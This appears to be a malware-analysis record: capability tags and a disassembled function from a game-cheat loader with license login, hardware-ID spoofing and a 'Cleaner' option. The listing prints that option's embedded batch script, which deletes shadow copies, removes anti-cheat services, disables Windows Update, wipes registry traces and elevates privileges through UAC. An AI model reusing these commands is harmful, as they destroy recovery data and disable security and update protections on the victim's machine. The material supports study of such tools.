Function at 0x140093790
Capabilities:
Acquire credentials from windows credential manager
Delete file
Delete volume shadow copies
Execute command
Hide graphical window
Log keystrokes via polling
Persist via default file association registry key
Persist via windows service
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x258]
sub rsp, 0x330
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140141940]
xor rax, rsp
mov qword [rbp + 0x180], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x1401477a0]
call fcn.140004070
cmp byte [0x140147960], 0
jne 0x140093886
lea r8, [0x140147968]
lea rdx, str._n_Status:
lea rcx, [rbp + 0x160]
call fcn.140009800
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140090cb0
nop
lea rcx, [rbp + 0x160]
call fcn.1400077a0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x150]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov dword [rbp - 0x60], 0x50
mov dword [rbp - 0x5c], 0x40
lea rax, [0x140092800]
mov qword [rbp - 0x58], rax
xor r15d, r15d
mov qword [rbp - 0x50], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x30], xmm1
lea rdi, [0x140114ac8]
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], r15
lea rcx, [rbp - 0x60]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ebx, dword [0x14014185c]
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
mov ecx, eax
mov eax, dword [rbp + 0x15c]
cdq
sub eax, edx
sar eax, 1
mov r11d, eax
sub r11d, ecx
mov eax, dword [rbp + 0x158]
cdq
sub eax, edx
sar eax, 1
mov r10d, eax
mov r9d, dword [0x140141858]
mov eax, r9d
cdq
sub eax, edx
sar eax, 1
sub r10d, eax
mov qword [rsp + 0x58], r15
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], r9d
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], r10d
mov r9d, 0x80000000
mov r8, rdi
mov rdx, qword [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r14, rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call sub.d3d9.dll_Direct3DCreate9
mov rcx, rax
mov qword [0x140147798], rax
lea r8, [0x1401479f0]
test rax, rax
jne 0x1400939b2
mov edx, 0x80004005
jmp 0x140093a58
mov qword [0x1401479f0], r15
mov qword [0x1401479fc], r15
mov dword [0x140147a04], r15d
mov qword [0x140147a0c], r15
mov dword [0x140147a14], r15d
mov qword [0x140147a24], r15
mov dword [0x140147a18], 1
mov dword [0x140147a08], 1
mov dword [0x1401479f8], r15d
mov dword [0x140147a1c], 1
mov dword [0x140147a20], 0x50
mov dword [0x140147a2c], 0x80000000
mov rax, qword [rax]
lea rdx, [0x1401479e8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
mov dword [rsp + 0x20], 0x40
mov r9, r14
xor edx, edx
mov r8d, 1
call qword [rax + 0x80]
mov ecx, r15d
mov edx, 0x80004005
test eax, eax
cmovs ecx, edx
mov edx, ecx
mov rcx, qword [0x140147798]
cmp edx, dword [0x140147794]
jge 0x140093aad
mov rdx, qword [0x1401479e8]
test rdx, rdx
je 0x140093a83
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401479e8], r15
mov rcx, qword [0x140147798]
test rcx, rcx
je 0x140093a95
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
mov qword [0x140147798], r15
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, 1
jmp 0x1400941e1
mov edx, 0xa
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r14
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x1560
mov r9d, 8
mov r8d, 0x3b8
lea rcx, str.1.78_WIP
call fcn.14002b600
xor ecx, ecx
call fcn.14002b160
call fcn.14002f2f0
mov rbx, rax
mov rcx, qword [rax + 0xa0]
call fcn.14005f3c0
mov qword [rsp + 0x20], rax
xor r9d, r9d
movss xmm8, dword [0x1401065e8]
movaps xmm2, xmm8
lea rdx, str..SegoeUI.ttf
mov rcx, qword [rbx + 0xa0]
call fcn.14005ad20
mov qword [0x140147a30], rax
mov rcx, r14
call fcn.1400900b0
mov rcx, qword [0x1401479e8]
call fcn.14008efa0
call fcn.14002fdd0
mov dword [rax + 0x40], 0x40400000
mov dword [rax + 0x1c], 0x3e99999a
mov dword [rax + 0x20], 0x3e99999a
mov dword [rax + 0xc], r15d
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov sil, 1
movabs rdi, 0x7ffffffffeced2ff
movabs rbx, 0x7fffffffffffffff
movabs r13, 0xb2f4fc0794908cf3
movdqa xmm11, xmmword [0x140114b90]
movdqa xmm15, xmmword [0x140114ba0]
movdqa xmm14, xmmword [0x140114b70]
movdqa xmm13, xmmword [0x140114b80]
movdqa xmm12, xmmword [0x14010e1b0]
movss xmm10, dword [0x1400fd190]
movss xmm9, dword [0x1400fd1b8]
nop word [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140093c27
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x1400941a8
lea rcx, [rbp - 0x68]
call fcn.140092bd0
mov rax, qword [rbp - 0x68]
cmp rax, rdi
lea rdi, [rax + 0x1312d00]
jl 0x140093c43
mov rdi, rbx
movabs r15, 0x4e94914f0000
movabs r12, 0x431bde82d7b634db
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x140093c76
imul rax, rcx, 0x64
jmp 0x140093ce5
cmp rbx, 0x16e3600
jne 0x140093cca
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140093ce5
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x140093d33
mov rcx, rdi
sub rcx, rax
cmp rcx, r15
jl 0x140093d04
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x140093c57
mov rax, r12
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x140093d27
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140093c57
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
mov r15d, 0
lea r12, [0x140147730]
je 0x140093d56
test sil, sil
sete sil
test sil, sil
je 0x140094194
call fcn.14008f060
call fcn.1400901c0
call fcn.140038220
movd xmm1, dword [0x14014185c]
cvtdq2ps xmm1, xmm1
movd xmm0, dword [0x140141858]
cvtdq2ps xmm0, xmm0
movss dword [rsp + 0x60], xmm0
movss dword [rsp + 0x64], xmm1
mov edx, 2
lea rcx, [rsp + 0x60]
call fcn.140040590
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
lea r8, [rsp + 0x68]
mov edx, 2
lea rcx, [rsp + 0x70]
call fcn.1400404e0
mov r8d, Ordinal_41
lea rdx, reloc.WS2_32.dll_accept
lea rcx, str.Speed_Loader
call fcn.1400252b0
call fcn.14002fdd0
movups xmmword [rax + 0xb8], xmm12
movups xmmword [rax + 0xd8], xmm13
movups xmmword [rax + 0x108], xmm14
movups xmmword [rax + 0x158], xmm15
movups xmmword [rax + 0x168], xmm11
movdqa xmm0, xmmword [0x140114bb0]
movups xmmword [rax + 0x208], xmm0
movdqa xmm0, xmmword [0x140114bc0]
movups xmmword [rax + 0x218], xmm0
movups xmmword [rax + 0x228], xmm11
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8d, 0x64
mov rdx, r12
lea rcx, str.Enter_Key
call fcn.1400808f0
mov qword [rsp + 0x78], r15
lea rdx, [rsp + 0x78]
lea rcx, str.Login_With_License
call fcn.140076f30
test al, al
je 0x140093ec1
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r12 + r8], r15b
jne 0x140093e84
mov rdx, r12
lea rcx, [rbp + 0x160]
call fcn.140090f30
lea rdx, [rbp + 0x160]
lea rcx, [0x1401477a0]
call fcn.140005550
cmp byte [0x140147960], r15b
je 0x140093ec1
mov byte [0x140147a38], 1
jmp 0x140093ece
cmp byte [0x140147a38], r15b
je 0x1400940b3
call fcn.1400890b0
call fcn.1400890b0
call fcn.1400890b0
call fcn.1400890b0
call fcn.1400890b0
call fcn.1400890b0
call fcn.1400890b0
call fcn.1400890b0
call fcn.1400890b0
call fcn.1400890b0
call fcn.1400890b0
lea rcx, [rbp + 0x28]
call fcn.14002e510
movss xmm7, dword [rax]
subss xmm7, xmm8
lea rcx, [rbp + 0x30]
call fcn.140030730
movss xmm6, dword [rax]
subss xmm6, xmm7
mulss xmm6, xmm10
movaps xmm0, xmm6
call fcn.14003fb30
movss dword [rbp - 0x80], xmm7
mov dword [rbp - 0x7c], r15d
lea rdx, [rbp - 0x80]
lea rcx, str.HWID_Spoofer
call fcn.140076f30
test al, al
je 0x140093f7f
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.SpeedLoader.exe
lea rdx, [0x1401149b8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [0x140147a38], r15b
call fcn.1400890b0
movaps xmm0, xmm6
call fcn.14003fb30
movss dword [rbp - 0x78], xmm7
mov dword [rbp - 0x74], r15d
lea rdx, [rbp - 0x78]
lea rcx, str.Cleaner
call fcn.140076f30
test al, al
je 0x140094082
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.embedded.bat
lea rcx, [rbp + 0x40]
call fcn.140091690
nop
mov rdx, qword [str._n::_Delete_Volume_Shadow_Copies_nvssadmin_delete_shadows__all__Quiet_n_n::_Stop_services_nsc_stop_cpuz150_nsc_stop_vgt_nsc_stop_vgrl_nsc_stop_vgk_nsc_stop_vgc_n_n::_Delete_services_nsc_delete_vgrl_nsc_delete_vgk_nsc_delete_vgc_nsc_delete_vg_n_n::_Kill_process_ntaskkill__f__im_vgtray.exe_n_n::_Delete_service_nsc_delete_cpuz150_n_n::_Disable_and_stop_Windows_Update_services_nsc_config_wuauserv_start_disabled_nnet_stop_wuauserv_n_n::_Disable_and_stop_Background_Intelligent_Transfer_Service__BITS__nsc_config_bits_start_disabled_nnet_stop_bits_n_n::_Disable_and_stop_Delivery_Optimization_Service_nsc_config_dosvc_start_disabled_nnet_stop_dosvc_n_n::_Disable_and_stop_Update_Orchestrator_Service_nsc_config_UsoSvc_start_disabled_n::_Stop_UsoSvc_service_and_delete_registry_entry_nnet_stop_UsoSvc_nreg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplicationsVALORANT_Win64_Shipping.exe___f_n_n::_Delete_UserAssist_registry_entries_nreg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistFA99DFC7_6AC2_453A_A5E2_5E2AFF4507BDCount___f_nreg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistF4E57C4B_2036_45F0_A9AB_443BCFE33D9FCount___f_nreg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistF2A1CB5A_E3CC_4A2E_AF9D_505A7009D442Count___f_nreg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCEBFF5CD_ACE2_4F4F_9178_9926F41749EACount___f_nreg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCAA59E3C_4792_41A5_9909_6A6A8D32490ECount___f_nreg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistBCB48336_4DDD_48FF_BB0B_D3190DACB3E2Count___f_nreg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistB267E3AD_A825_4A09_82B9_EEC22AA3B847Count___f_nreg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistA3D53349_6E61_4557_8FC7_0028EDCEEBF6Count___f_nreg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssist9E04CAB2_CC14_11DF_BB8C_A2F1DED72085Count___f_nREM_____Check_for_permissions_n_nul_2_1___SYSTEMROOT__system32cacls.exe____SYSTEMROOT__system32config_system__n_n:UACPrompt_n____echo_Set_UAC__CreateObject__Shell.Application_______temp_getadmin.vbs__n____set_params__n____echo_UAC.ShellExecute__cmd.exe_____c____s0____params:________runas___1______temp_getadmin.vbs__n______temp_getadmin.vbs__n____del___temp_getadmin.vbs__n____exit__B_n_n:gotAdmin_n____pushd___CD___n____CD__D___dp0__n_nREM_____Running_AMIDEWINx64_commands_with_random_values_nfor__L___i_in__1_1_20__do___n____set__randValue__i_RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1__RANDOM:_1____n_nREM_____Renaming_computer_to_Spoofed_nWMIC_ComputerSystem_where_Caption_ComputerName__rename__Spoofed__nREG_ADD_HKLMSYSTEMCurrentControlSetControlComputerNameComputerName__v_ComputerName__t_REG_SZ__d__Spoofed___f_n_nreg_delete__HKLMSYSTEMControlSet001ServicesEasyAntiCheat___f_nreg_delete__HKLMSYSTEMControlSet001ServicesEasyAntiCheatSecurity___f_nreg_delete__HKLMSYSTEMCurrentControlSetServicesEasyAntiCheat___f_nreg_delete__HKLMSYSTEMCurrentControlSetServicesEasyAntiCheatSecurity___f_nreg_delete__HKU.DEFAULTSoftwareMicrosoftSystemCertificatesTrustedPublisher___f_nreg_delete__HKU.DEFAULTSoftwareMicrosoftSystemCertificatesTrustedPublisherCertificates___f_nreg_delete__HKU.DEFAULTSoftwareMicrosoftSystemCertificatesTrustedPublisherCRLs___f_nreg_delete__HKU.DEFAULTSoftwareMicrosoftSystemCertificatesTrustedPublisherCTLs___f_nreg_delete__HKU.DEFAULTSoftwarePoliciesMicros]
lea rcx, [rbp + 0x40]
call fcn.140090cd0
lea rcx, [rbp + 0x48]
call fcn.140092aa0
test rax, rax
jne 0x14009400d
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.embedded.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.embedded.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.start_cmd__k_echo_You_Have_Been_Cleaned__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.140091c60
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov byte [0x140147a38], 0
call fcn.1400890b0
movaps xmm0, xmm6
call fcn.14003fb30
movss dword [rbp - 0x70], xmm7
mov dword [rbp - 0x6c], 0
lea rdx, [rbp - 0x70]
lea rcx, str.Exit
call fcn.140076f30
test al, al
jne 0x140094249
call fcn.14002b840
mov rcx, qword [0x1401479e8]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r15d
movss dword [rsp + 0x28], xmm9
mov dword [rsp + 0x20], r15d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x1401479e8]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14009411a
call fcn.14003c4c0
call fcn.14002e720
mov rcx, rax
call fcn.14008f1e0
mov rcx, qword [0x1401479e8]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x1401479e8]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140094194
mov rcx, qword [0x1401479e8]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x140094194
call fcn.14008efe0
mov rcx, qword [0x1401479e8]
mov rax, qword [rcx]
lea rdx, [0x1401479f0]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14009418f
mov r8d, reloc.WLDAP32.dll_Ordinal_45
lea rdx, str.C:UserselilaDownloadsKeyAuth_IMGUI_LoginExample_masterKeyAuth_IMGUI_LoginExample_mastermain.h
lea rcx, [0x1400f8d6c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.14008ee30
movabs rdi, 0x7ffffffffeced2ff
movabs rbx, 0x7fffffffffffffff
cmp dword [rbp - 8], 0x12
jne 0x140093bf0
call fcn.14008fba0
call fcn.1400903e0
xor ecx, ecx
call fcn.14002b760
call fcn.140092530
mov rcx, r14
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400f1fc0
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400927a0
int3